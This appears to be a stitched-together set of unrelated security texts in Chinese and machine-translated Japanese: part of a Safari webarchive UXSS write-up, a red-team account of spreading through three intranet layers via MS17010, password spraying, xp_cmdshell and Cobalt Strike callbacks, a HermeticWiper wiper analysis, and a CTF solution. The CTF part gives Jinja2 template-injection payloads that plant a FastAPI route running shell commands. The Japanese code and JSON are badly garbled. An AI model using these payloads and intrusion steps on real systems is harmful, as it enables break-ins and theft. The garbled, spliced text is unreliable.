同樣,我們可以建立一個網站,它可以跳轉到https://zoom.com打開攝像頭,跳轉到https://paypal.com轉賬,並劫持https://gmail.com來竊取電子郵件。

在繼續之前,我應該澄清一個事情。本文講的這個漏洞與我的上一篇講的Safari攝像頭被攻擊到底有什麼不同?該漏洞會專門針對存儲的多媒體權限。它沒有給我在任意原點上執行代碼的能力。查看我的攻擊圖,看看哪些來源被使用。換句話說,本文的攻擊鏈只會讓我利用Skype的攝像許可,但不會讓我竊取Skype的cookie。

首先讓我們嘗試在Safari最新版本(撰寫本文時為Safari v15 beta版)中找到一個UXSS漏洞。和往常一樣,第一步首先是要做大量的研究。

攻擊計劃在閱讀了大量關於Safari UXSS漏洞補丁的文章後,我決定將研究重點放在webarchive 文件上。 webarchive 文件是Mac 系統Safari 瀏覽器的存檔文件,是保存網頁內容的特殊文件格式Mac OS X 系統帶有文件轉換功能,可以把webarchive 文件變成html 文件。當用戶在本地保存網站時,這些文件是由Safari創建的,作為HTML的替代品。

3.webp.jpg

Safari瀏覽器將網站保存為webarchival文件

這些文件的一個令人吃驚的特點是,它們指定了內容應該呈現的網絡來源。

4.webp.jpg

Webarchive文件格式

這是一個很棒的技巧,可以讓Safari重建保存的網站的上下文,但正如Metasploit開發者在2013年指出的那樣,如果攻擊者能夠以某種方式修改這個文件,他們就可以有效地實現設計好的UXSS。

根據Metasploit 的說法,蘋果並不認為這種攻擊場景真的可以實現,因為“webarchive必須由客戶端下載並手動打開。”當然,這個決定是在近十年前做出的,當時瀏覽器安全模型還沒有今天那麼成熟。

蘋果決定支持這種超級強大的文件類型,這樣攻擊就會嘗試在受害者的設備上強行打開它們。攻擊可以分為兩個步驟:

1.強行下載一個惡意的webarchive 文件;

2.強行打開它;

直到最近,還沒有任何保護措施來阻止第一步。在Safari 13之前,網站在下載任意文件之前甚至不會向用戶顯示任何警告。所以植入webarchive文件很容易。自從出現了Safari 13以上的版本,每次下載前都會提示用戶。

而強行打開wearchive文件則更加困難,但仍然可以通過以某種方式導航到file://URI 方案來管理。當Safari的存在漏洞頁面出現在file://scheme中時,就會發現如何故意調用漏洞頁面來改變它的路徑名,這種攻擊方法被戲稱為“Errorjacking”,先後出現過兩種變體(1,2)。另一種在當時有效的方法是簡單地將標記設置為file://。

但到了2022年,該技巧就不靈了。不僅默認情況下會阻止自動下載,而且webarchive文件被macOS Gatekeeper認為是惡意應用程序。這意味著用戶甚至不能自己手動打開國外的webarchive。目前,蘋果似乎已經改變了他們在2013年對這些文件有多危險的看法。

5.webp.jpg

Safari 13以上版本中的下載提示

6.webp.jpg

Gatekeeper預防策略

儘管如此,webarchive文件看起來還是太有趣了,讓人無法放棄。讓我們來探索一下,這種老式的攻擊攻擊方式是如何在最新的Safari 和macOS 版本上發生的。

探索自定義URI 方案通過深入研究IANA 註冊的官方URI 方案,我在上一個Safari 攝像頭攻擊項目中取得了成功。該項目在很大程度上受到RFC 和公共文檔的指導。但是我忽略了整個自定義URL 方案的世界。這些非官方和大部分未記錄的方案通常被第三方iOS/macOS 應用程序用作深度鏈接的一種形式。

有趣的是,Apple Help Viewer (help://)、FaceTime (facetime-audio://) 和Apple Feedback (applefeedback://) 等多個系統應用程序也支持自定義URI 方案。在Safari 的網站上濫用這些方案並不是一種新技術。事實上,一段時間以來,攻擊一直在尋找使用自定義方案來啟動並利用其中的漏洞系統應用程序的方法。攻擊範圍包括煩人的撥打電話、協助社會工程到任意文件執行。

為了幫助對抗這些攻擊,Safari 的現代版本會在盲目啟動輔助應用程序之前警告用戶。也就是說,除非它們是Blackhat 演示中確定的硬編碼異常之一。

7.webp.jpg

Safari 將在沒有提示的情況下啟動的自定義URI 方案

所有這些方案都在Launch Services 中註冊,因此你可以通過以下命令列出它們:

/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister-dump|grep-B6bindings:*:|grep-B6apple-internal在仔細研究了蘋果的內部方案後,並將它們與Safari信任的方案進行交叉比對後,我發現了一個吸引我眼球的方案——“icloud-sharing:”。這個方案似乎是由一個名為“ShareBear”的iCloud共享應用程序註冊的。

8.webp.jpg

關於icloud-sharing的LaunchServices數據

我對ShareBear很感興趣,因為分享iCloud文件似乎是下載和發布webarchive文件的可行途徑。我找不到任何關於這個計劃的公開文檔或研究,所以我就自己開始研究它。

前言

一次攻防演练中首先是团队拿到了一个 Webshell ,后续又把权限弹到了 CobaltStrike 方便我来做内网渗透:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过发现当前机器是一台公网服务器,只有公网 IP:xxx.xxx.xxx.16

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过查看 arp 缓存发现当前是有一些公网机器的:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过查询这些 IP 发现是"某网络",而且通过 Nbtscan 发现当前 C 段有主机存活:(初步判断当前 C 段机器有可能存在域,但不确定)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

对当前第一层内网机器 C 段进行横向移动

由于是攻防演练,拿到越多的分数越好,在这里就不考虑一些其他问题,拿到当前机器后我抓到了明文密码:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

但是通过此密码去利用 MSF 对 C 段进行密码喷洒发现没有一台主机被成功横向出来:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

就在这个时候我又扫了一下看看有没有 MS17010:(一般来说向这种"某某网"基本上都有几台存在永恒之蓝,所以直接去扫就行)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

发现 92、151、200 这三台是存在 MS17010 的,随后打了 92 这台:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后 MSF 和 CS 联动,我把 MSF 的 shell 又弹到了 Cs,并且做了权限维持:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

这个时候其实用这两台跳板机器就够了,另外两台存在 MS17010 没必要继续打,随后我对当前 C 段进行信息搜集,对 Web 资产进行扫描存活发现大量 Web 资产:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过手工分析发现一枚 SQL 注入,而且是 DBA 权限:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

然后添加了一个管理员用户然后开启了 3389 (因为有诺顿,常规免杀没时间弄了,主要拿分,索性直接登录服务器)

而且直接通过 socks 连接不了,感觉是做了限制,后续发现使用 mstsc /admin 是可以登录的:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

这个时候我用 92 这台机器当作跳板远程登录到 71 桌面:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后克隆了 administrator 的桌面:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

此时重新登录之前添加的账号到远程桌面就是 administrator 的桌面了:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过一系列的信息搜集并且翻密码,拿到了 Mssql 和所有旁站的权限:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过已搜集到的密码去对 C 段继续密码喷洒成功喷洒出 C 段的一台 Mssql:xxx.xxx.xxx.239

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

后续直接调用 XP_cmdshell 执行命令,发现权限还很大:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后直接利用 bitsadmin 上线到 cs:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

此时已经拿到了:16、92、239 这三台机器的权限,但是还没有发现有内网,这个时候就陷入了瓶颈。

搞到这里发现横向不了,其他 Web 又不想用 0day 打,回过头来用 MS17010 打下了 200 这台:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后通过同样的方式把 shell 弹到了 CS 并且添加了用户而且加入远程桌面组:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后登录发现登录失败:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

这个时候利用 mstsc /admin 可以绕过并成功登录到目标远程桌面:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

同样的方式克隆了 administrator 的桌面:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过信息搜集翻文件我发现了大量有价值的东西,比如 mstsc 登录记录:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

拿到 navicat 数据库凭证:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

并且发现 Xshell 里面有很多台 SSH:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

里面所有 Linux 主机都可被登录,这个时候只需要利用 SharpDecryptPwd 把它们的密码抓下来就好,但是发现出问题了:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

后面用这玩意查看了密码:(本来不想用这几把玩意的,太麻烦得一个个的去查看密码)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

发现有几台机器有 10 的内网:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过已有的密码再去横向喷洒了一下 C 段的 Linux 主机:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

然后弹了几个 Shell 到 MSF:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

至此这个公网的 C 段基本上已经穿了,大量核心数据库、交换机、Web服务器都拿下,接下来就是对 10 的内网进行内网渗透。

来自第二层内网 10 段的内网渗透

因为我已经拿到了 root 的密码,我直接扫了一下 10.10.10.1/16 的 B 段,有一大波资产,这里就不截图了,有几百个,其中发现有 ESXI:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

并且拿到了一个门禁系统:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过特殊手段横向移动拿下了 10 段的两台 SSH,并且发现有第三层内网是 192 段、还有 docker 环境:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

由于 10 段有 ESXI ,我直接利用漏洞拿到了 ESXI 云平台,旗下所有机器都被控:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

此时 10 段基本上已经穿了,接下来就是对 192 的内网进行渗透。

来自第三层内网 192 段的内网渗透

通过常规 fscan 简单扫了一下 192 段,发现 192 资产也很肥:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

然后又发现 MS17010 漏洞两台:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

现在梳理梳理梳理关系了,当前环境是这样的:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

 
原文链接:https://mp.weixin.qq.com/s?__biz=MzkxNDEwMDA4Mw==&mid=2247491421&idx=1&sn=769d715d05057112eb4ee1ebb8312e37&chksm=c172c541f6054c571e482d4283f946625f2689ec6214e9d47a61c66399ee7d2cd2a62c0de464&scene=123&key=f3d6282f44b990e0f2527af4db8e088f25f3e43d0abaf5f845ff52e14965e4fe188c89081cfd1f78925d46f3773aa2e74a47694f65db45695689fdd967c2c09337cb5405c40efe99f3eb546fc97abca96d5ff3818c9a7530e4acc9a4e5d882040400173a797499538a59659384656bc3ebcc665e0a0c437c54b0a25452e6ce44&ascene=14&uin=MTc3NzQzNDgzMQ%3D%3D&devicetype=Windows+10+x64&version=6309001c&lang=zh_CN&countrycode=CN&exportkey=n_ChQIAhIQ3pDdiz1MC4F99DsGfx2v5BL0AQIE97dBBAEAAAAAADHyJqWLbaIAAAAOpnltbLcz9gKNyK89dVj07Lq3ukZca%2FkGn9mZ1m3mR4X82v32Zct1B2kfTB%2BQWna3aR3DhlMUQvvT3Z2sxfB9OUECYQoL2A5oAR5FOuDqlNc%2FQnrjkFyvrHh031cA5N0cUT4RO2kT%2B56Q2pBiEsL7ziwAdFczUCCRk9OW7sxmCEBUAd%2BI86xc%2FAPPLFRk3akMyXxiozAYLRujrimNRkLpFymtdYxpwqugIkLAWKp3X%2Fn6cL4bGQvrReToG01rCHpQQPakFsS%2BoSm63vyyJ7cpmwybCp7ze9nIH1UdpOc%3D&acctmode=0&pass_ticket=dS7P%2Bn8WaPCzHJxyD5pizreTrBJbMLZFV9J36NJ7%2Fmx2byCsxnyK2ySPe%2BM9YvvFwWh7tiUQ78aV%2FVvJTCaQeg%3D%3D&wx_header=1&fontgear=2


上個月的時候,人們新發現了一個數據擦除型惡意軟件,它被命名為“HermeticWiper”,因為其數字證書是盜取自一家名為Hermetica Digital Ltd的公司。這個擦除器的顯著特點是能夠繞過Windows的安全功能,並獲得對磁盤上許多低級數據結構的寫入權限。此外,攻擊者還想把磁盤上的文件分割成碎片並覆蓋它們,使其無法恢復。

在我們分析這個數據擦除器的時候,其他的研究報告也陸續發布,詳細說明了這個攻擊活動中使用的其他組件,包括一個蠕蟲和典型的勒索軟件,幸好該軟件的實現質量不高,很容易進行解密。

在本文中,我們將針對目前已經獲取的惡意樣本,對其進行深入的考察分析。

行為分析首先,我們看到的是一個32位Windows可執行文件,其圖標類似於一個禮物。實際上,這並不是攻擊者的冷笑話,而只是Visual Studio GUI項目的一個標準圖標。

1.png

HermeticWiper使用的圖標

這款惡意軟件必須以管理員身份運行才能工作,而且沒有提供任何UAC繞過技術。稍後我們會發現,這個樣本的名稱也會(稍微)影響其功能;如果名稱以“c ”開頭(或以“C”開頭,因為它被自動轉換為小寫),那麼,系統在執行後將重新啟動。

一旦運行,該樣本就會在後台悄悄地“工作”。如果不借助其他工具的話,我們很難發現任何可疑的東西。

只有當我們使用像Process Explorer這樣的工具觀察這個樣本時,我們才能注意到一些不尋常的行為——它會調用各種IOCTL,並且都與檢索磁盤的細節有關。

1.png

通過ProcessMonitor觀察HermeticWiper時,發現其執行的動作

……其中包括FSCTL_GET_RETRIEVAL_POINTERS和FSCTL_MOVE_FILE,這些貌似都與文件的碎片整理有關。請注意,在文件系統中,文件有時並不是保存在一個連續的塊中(就像我們在高級別的文件中看到的那樣),而是分佈在磁盤的各個扇區中的多個塊中。碎片整理與合併這些塊有關,而碎片化則與分割這些塊有關。

1.png

然而,進一步的研究表明,這裡的效果與碎片整理相反。事實上,由於惡意軟件的緣故,數據變得更加碎片化。

在惡意軟件執行前後,有關數據碎片的磁盤狀態如下圖所示:

1.png

執行前的磁盤狀態

1.png

執行後的磁盤狀態

這樣做可能是為了提高損壞程度:文件碎片越多,從原始磁盤映像中分割出來並進行取證重建的難度就就越大。

隨著惡意軟件的執行,在某些時候,我們可能會發現一些應用程序將無法正常工作。這是因為某些文件(包括系統DLL)已被隨機數據所覆蓋。

示例:由於系統DLL被破壞,導致應用程序無法運行:

1.png

HermeticWiper導致的軟件故障

如果我們現在查看磁盤的原始映像(比如使用HxD),我們就會發現某些扇區已經被隨機數據覆蓋了:

1.png

通過HxD檢查被HermeticWiper覆蓋的扇區

毫無疑問,重啟後,我們的Windows操作系統將無法正常工作:

1.png

重新啟動受損系統後,用戶看到的出錯消息

那麼,這個惡意軟件在背後到底搞了什麼鬼呢?讓我們仔細看看……

使用的組件初始樣本:1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591——在其資源中包含多個PE文件:

1.png

惡意軟件的資源部分

為資源選擇的名稱(DRV_X64、DRV_X86、DRV_XP_X86、DRV_XP_X64)表明:它們是同一驅動程序,並且為不同的Windows系統提供了相應的版本:適用於32位或64位系統的版本,或適用於Windows XP的舊版本。同時,它們都採用了壓縮形式。通過Linux系統的file命令檢查轉儲文件,我們可以看到以下輸出:

file DRV_XP_X86

DRV_XP_X86: MS Compress archive data, SZDD variant, original size: 13896 bytes

為了弄清楚它們是如何加載的,我們需要研究一下攜帶它們的樣本。

幸運的是,該樣本並沒有進行混淆處理,所以,我們可以輕鬆找到負責查找適當版本的驅動程序的代碼片段:

1.png

HermeticWiper中選擇加載哪個驅動程序的代碼片段

然後,讓我們通過LZMA算法對緩衝區進行解壓縮處理:

1.png

負責用LZMA算法解壓縮驅動程序並進行安裝的代碼片段

實際上,當前流行的解壓縮工具(比如7Zip)都支持這種壓縮格式。我們也可以根據惡意軟件代碼製作自己的解壓縮工具(詳見:https://gist.github.com/hasherezade/2c7837874f7adf0f73192f4d861d83c6)。

結果,我們從EaseUS Partition Master中得到了4種版本的合法驅動程序——這一點與ESET(https://twitter.com/ESETresearch/status/1496581912940396551?s=20t=wAz5sfT7pTIN-F0aqFaXTg)所報告的完全相符。

2c7732da3dcfc82f60f063f2ec9fa09f9d38d5cfbe80c850ded44de43bdb666d

23ef301ddba39bb00f0819d2061c9c14d17dc30f780a945920a51bc3ba0198a4

8c614cf476f871274aa06153224e8f7354bf5e23e6853358591bf35a381fb75b

96b77284744f8761c4f2558388e0aee2140618b484ff53fa8b222b340d2a9c84

從PE頭部中的時間戳來看,這個驅動程序是很久以前構建的。據我們推測,這些驅動程序很可能是被攻擊者從原始的合法軟件包中竊取的。並且,它們中的每一個都帶有一個調試目錄,其中包括一個PDB路徑,例如:

1.png

驅動程序概述HermeticWiper使用的驅動程序來自EaseUS套件,而EaseUS則是一個合法的軟件,為用戶提供了多種磁盤管理功能,如分區和大小調整。如前所述,該工具是合法的,因此,在攻擊發生時,無法通過VirusTotal檢測到該樣本:

1.png

VirusTotal沒有檢測出該樣本

查看驅動程序內部代碼,我們發現它只是提供了許多典型的驅動功能:創建所需的設備,並建立一些分派例程,如下圖所示:

1.png

DriverEntry例程

這個驅動程序的內部結構非常簡單。為了從用戶模式訪問驅動程序,我們需要使用CreateFile API函數,並安裝驅動程序的設備名(\\.\epmntdrv)以及分區ID。具體示例如下所示:

1.png

用戶模式組件,生成用於打開設備句柄的字符串

注意,這個字符串對於理解驅動程序的功能非常重要。如您所見,驅動程序的代碼會把發送的字符串從用戶模式轉換為整數,並將該整數用作helper函數“savereferenceharddisk”的輸入。由於可以從映像中提取,所以,這個helper函數將在FsContext屬性中保存對物理磁盤(\device\harddisk[num]\partition0)的引用:

1.png

IRP_MJ_CREATE函數

1.png

helper函數

這種行為也可以進行實時測試。我們可以看到,在將這個值轉換為整數類型之前,代碼是如何刪除前導反斜杠的:

1.png

通過內核模式實時調試會話考察參數處理過程

此外,IRP_MJ_CREATE函數會在FsContext2屬性中保存硬盤的設備對象指針,該指針將通過helper函數getDeviceObject返回。函數getDeviceObject中的DeviceObject指針,用於查找IRP_MJ_CREATE函數保存在FsContext2屬性中的硬盤的設備對象指針(該指針是通過helper函數getDeviceObject返回的)。而getDeviceObject中的DeviceObject指針,則用於通過IoGetLowerDeviceObject函數遍歷最底層的設備對象來查找disk.sys關聯的設備對象。為了確認底層設備對象就是我們正在尋找的對象,我們檢查對象的ServiceKeyName是否為'Disk':因為disk.sys對象的ServiceKeyName正是“Disk”。這些對象將在稍後的讀寫操作中用到。這意味著,當從用戶模式向驅動程序請求不同的操作時,實際操作將在機器物理磁盤上進行。

1.png

關於getDiskDeviceObject函數

接下來的圖片顯示了驅動程序如何建立傳入的請求並將其轉發到下級設備:

1.png

EaseUS驅動處理IOCTL請求的例子

1.png

EaseUS驅動處理讀操作的例子

1.png

EaseUS驅動處理IOCTL寫操作的例子

通過使用從用戶模式執行的CreateFile操作所保存的FsContext2字段,可以將這個驅動程序看作是一個代理驅動程序,其中IRP由底層設備處理。簡而言之,這個合法的驅動程序可以讓攻擊者繞過一些windows的安全機制,而這些機制能夠阻止他們在用戶模式下執行某些操作,如禁止對磁盤的某些扇區進行寫操作等。

數據擦除器的具體實現這個惡意軟件旨在最大限度地破壞系統。它不僅會覆蓋MBR,而且更進一步:遍歷文件系統的相關結構體並加以破壞,甚至直接破壞單個文件。

我們知道,這個可執行文件將以某種方式濫用這些驅動程序來實現數據破壞功能。然而,問題來了,它到底是如何實現的呢?

值得注意的是,Windows(自Vista以來)引入了一些安全措施,使得攻擊者只能在用戶模式(在標準Windows驅動程序的幫助下)下對磁盤開頭部分的扇區執行寫操作。如果我們想對其他扇區進行寫操作,即覆蓋MFT(主文件表),我們需要一些自定義的變通方法(詳情請參閱https://community.osr.com/discussion/101522/vista-rtm-writing-to-raw-disk-sectors)。

對於Petya(以及NotPetya,使用了相同的組件)來說,其解決方案是由另一個“內核”實現的,該內核(而不是Windows系統)在機器重新啟動時引導,並完成相應的覆蓋任務。對於HermeticWiper來說,其作者使用了一種更簡單的方法:他們使用了另一個驅動程序,該驅動程序能夠完成這樣的覆蓋操作。

首先,該惡意軟件會解析NTFS結構體,並將有關它們的信息存儲在內部結構體中。為了實現讀取,它使用了標準系統設備。在收集到所需的數據之後,附加的驅動程序(EaseUS)就開始發揮作用:它被用作對收集的扇區進行寫操作的代理。

攻擊可分為以下幾個階段:

準備工作,包括:

安裝附加驅動程序(EaseUS)

禁用可能有助於恢復或檢測攻擊行為的系統功能

數據收集:遍歷NTFS結構體,收集將要覆蓋的扇區和文件。此外,為進一步的覆蓋活動而生成適當大小的隨機數據。

垃圾處理(在此階段使用EaseUS驅動程序):利用上一步生成的隨機數據覆蓋收集的扇區

最後,系統將自動重啟。

執行流程現在,讓我們來分析惡意軟件樣本,看看這些階段是如何實現的。

準備工作首先,該樣本會解析命令行參數。實際上,這些參數對執行的影響很小——可能只是改變樣本在特定階段的執行之間休眠的時間。

然後,該樣本會設置執行相關操作所需的特權。在惡意軟件的主函數中設置了兩個特權:SeShutdownPrivilege(允許重新啟動系統)和SeBackupPrivilege(允許操縱系統備份):

1.png

調整所需特權

有趣的轉折來了:定義SeShutDownPrivilege的字符串是在堆棧上組成的,而中間的一塊卻不見了。

1.png

不完整的SeShutdownPrivilege字符串

然後,在根據當前可執行文件名稱的第一個字符計算的位置填充這個缺失的塊wnPr。因此,只有在樣本的名稱是以“C”開頭的情況下,字符串才會被補上(並且權限設置正確)。

1.png

SeShutdownPrivilege在後面的步驟中補全

關於惡意軟件為何要這麼大費周章的原因尚不明確,也許只是為了混淆這個特定的可疑字符串。因為惡意軟件作者使用名稱檢查作為反沙箱技術也很常見(因為沙箱可能會給樣本指定一些可預測的名稱:如果檢測到這樣的名稱,則樣本可能會退出,這樣沙箱就無法跟踪其行為)。然而,該行為對樣本的影響非常小——它只影響重新啟動功能,而不是惡意軟件的主要任務。

驅動程序的安裝之後,該惡意軟件就會進行驅動程序的安裝。

1.png

安裝驅動程序

安裝過程分為以下幾個步驟:

首先,對系統進行指紋識別,以便選擇最合適的驅動程序版本。具體來說,它會根據Windows的版本和位數(32或64位),來選擇資源。

1.png

可加載的驅動程序

在安裝驅動程序之前,崩潰轉儲機制會被禁用。

1.png

HermeticWiper將禁用崩潰轉儲機制

如果整個系統發生崩潰,可能是由於驅動程序中的錯誤/不穩定所致,並且通常會進行崩潰轉儲:保存有關係統的完整狀態,以及到底發生了什麼方面的信息,以幫助調試。在安裝前禁用崩潰轉儲功能,表明惡意軟件的作者對所用驅動程序並不是很有信心,或者認為執行的操作有導致系統崩潰的風險。所以,他們希望即使發生了崩潰,也要設法讓管理員很難找到崩潰的原因。

然後,他們檢查驅動程序是否已經安裝。這一步是通過向驅動程序發送IOCTL來實現的:該IOCTL用於檢索驅動器幾何形狀方面信息。如果該操作失敗,這意味著相關驅動程序根本就不存在,他們可以繼續安裝。

1.png

EaseUS設備對象引用

安裝該驅動程序時,首先會根據硬編碼的字符集為驅動程序生成一個含有4個字符的偽隨機名稱。該函數還需確保沒有文件與剛才生成的名稱重名。

1.png

生成驅動程序名稱

然後,植入文件的壓縮版本。最後,從中解壓縮出相應驅動程序。

web

EncirclingGame

質問説明:簡単なゲーム、それを楽しんで、それを完了したら旗を入手してください。トピックを開始してください、フロントエンドミニゲーム、赤いドットimage-20240817132551392を取得しないでください

レベルを直接再生して渡しますimage-20240817133147345

演奏せずに旗を獲得する方法を見てみましょう。フラグはバックエンドPHPファイルに保存されており、フロントエンドには見つかりません。レッドドットの最後の位置とファイアウォールの位置(ブラックドット)を記録するゲームのリクエストパッケージをご覧ください。image-20240817134012060

それでは、ファイアウォールは円に囲まれていますが、赤い点は真ん中にあります。ルーティング:/verifyvictory.php

方法:post {'Gamestate ': {' virusposition': {'x':5、' y':5}、 'firewalls': [{' x': 0、 'y': 0}、{' x': 1、 'y'3360 0} {'x': 2、' y': 0}、{'x': 3、' y': 0}、{'x': 4、' y': 0}、{'x': 5、' y'3360 0 0}、{'x': 7、' y': 0}、{'x': 8、' y': 0}、{'x': 9、' y': 0}、{'x': 10、' y': 0}、{'x': 'y': 10}、{' x': 1、 'y': 10}、{' x': 2、 'y': 10}、{' x': 3、 'y': 10}、{' x': 4、 '': 10 5、 'y': 10}、{' x': 6、 'y': 10}、{' x': 10}、{'x':' y': 10}、{'x'3360 9 {'x': 10、' y': 10}、{'x': 0、' y': 3}、{'x': 0、' y': 4}、{'x': 0、' y': 6}、{'x': 0、' y': 7}、{'x': 0、' y': 8}、{'x': 0、' y': 9}、{'x': 10、' y': 1}、{'x': 'Y': 2}、{' x': 10、 'y': 3}、{' x': 10、 'y': 4}、{' x': 10、 'y': 5}、{' x': 10 10、 'y': 7}、{' x': 10、 'y': 8}、{' x': 9}]}、 'token':'game-lab-token'}プロジェクトを開始すると、ソースコードimage-20240817122126538を直接与えました

インポートOS#オペレーティングシステム関連モジュールのインポートJinja2#インポートJinja2テンプレートエンジンモジュールインポート#インポート#インポートツール機能モジュール、高度な機能を提供するuvicorn#インポートuvicorn#fastapiインポートFastapi#インポートファーストアピクラスからASGIアプリケーションを実行するためにASGIアプリケーションを実行するためにASGIアプリケーションを実行するためにASGIアプリケーションを実行して、FASTAPI.TEMPLATING IMPLATITION APPLATIONSから作成します。 AnyioのインポートからレンダリングするテンプレートのFastapiのJinja2Templates fail_after、睡眠#インポートAnyioライブラリからのインポートタイムアウトを設定するために使用し、非同期睡眠のためにスリープ

#使用するライブラリのバージョンを指定します:#jinja2==3.1.2#uvicorn==0.30.5#fastapi==0.112.0

def timeout_after(timeout: int=1):#タイムアウトデコレータを定義する、デフォルトのタイムアウトは1秒のdefデコレーター(func):です##parameter @functools.wraps(func)#decorator async def wrapper(** kwargs)のメタ情報を保持します。 faile_after(タイムアウト):のラッパー#指定されたタイムアウトリターンウェイブfunc(*args、** kwargs)内でデコレーター関数を実行してください。

デコレーターを返す#returnデコレーター関数

app=fastapi()#fastapiアプリケーションインスタンスアクセスを作成=false#アクセス許可を制御するためのグローバル変数を定義します

_base_path=os.path.dirname(os.path.abspath(__ file__))

@app.get( '/')#ルートパスのゲットリクエストを処理するルートを定義します@timeout_after(1)#タイムアウトデコレーターを使用して、タイムアウトを1秒の非同期DEFインデックス():に設定します#非同期処理機能を定義します。

@app.get( ' /calc')# /計算パスを処理するゲットリクエストのルートを定義します@Timeout_after(1) (calc_reqのchar.isdigit()calc_reqのchar.isdigit())または(calc_reqの '%\')またはnot not not not not not not calc_req.isascii()またはaccess:#calc_reqに数値文字が含まれているか、「%」が含まれているか、またはそれらがすべてasciiのキャラクターであるかどうかを確認するかどうかを確認します。 jinja2.environment(loader=jinja2.baseloader())。 #さらにアクセスを制限するためにtrueにアクセスを設定します。

__name__=='__main __' :#それがメインプログラムの入り口uvicorn.run(app、host='0.0.0'、port=8000)であるかどうかを決定します。制限は、数値文字、または文字「%」、またはすべてのASCII文字、またはアクセスを含めることができないことです。同時に、アクセスが真である限り、再び入力することはできないため、環境を再起動する必要があります(NSS round20 Iは、この方法で質問が作成されたリポジトリのメモリも検索しました。 /flag ')。read())は、add_url_ruleを同時に置き換えるため、次のようにsstipayloadに変換する必要があります{{config .__ class __.__ init __.__ Globals __ ['__ Builtins __']。eval( '__ import __(' sys ')。モジュール[' __ main __ '] .__ dict __ [' app ']。add_api_route('/flag '、lambda:__import __(' os ') /flag').Read())')} payload: /calc?calc_req=config.__class__.__init__.__globals__ ['__builtins__'] .eval('__import__('sys').m odules ['__ main __'] .__ dict __ ['app']。add_api_route( '/flag'、lambda:__import __( 'os')。popen( 'cat /flag ')。読み取り())')

Fastapi Memory Horseをプレイすると、FastapiクラスにADD_API_ROUTEメソッドがあります。この方法を通るルートを追加して、RCEを実行できます

app.add_api_route( '/shell'、lambda: __import __( 'os')。popen( 'whoami')。read())アプリを再ゲットする必要があります。

__import __( 'sys')。モジュール['__ main __'] .__ dict __ ['app']

Sys.Modules:SYSモジュールには、すべてのインポートモジュールの現在の状態を維持するモジュールと呼ばれる辞書があります。この辞書のキーはモジュールの名前であり、値は対応するモジュールオブジェクトです。モジュール['__ main__']:__main__は、コマンドラインから直接実行されるスクリプトであろうと、実行環境を実行するコードであろうと、Pythonプログラムを実行するメインモジュールです。 sys.modules ['__ main__']を介して、現在実行中のプログラムのメインモジュールオブジェクトを取得します。 __dict__:各モジュールオブジェクトには__dict__属性があります。これは、モジュールで定義されているすべてのグローバル変数と関数を含む辞書です。 ['App']:最後に、モジュールの__dict__から名前付きアプリというオブジェクトを取得します。次に、次のペイロードを統合します。

app .__ init __.__ Globals __.__ builtins __。eval( '__ import __(' sys ')。モジュール[' __ main __ '] .__ dict __ [' app ']。add_api_route(' /shell '、lambda :__import __(' os ')。

さて、 /シェルにアクセスして旗を獲得します

方法3:任意のファイルを読み取る任意のファイルについて__file__を変更します

@app.get( '/')@timeout_after(1)async def index(): return open(__ file __)。read()

現在のコードファイルコンテンツは読み取り、Webページに出力されます。次に、__file__ to /flagを変更できれば、ルートルートにアクセスするとフラグを取得できます。

__File__はグローバル変数グローバルにあります

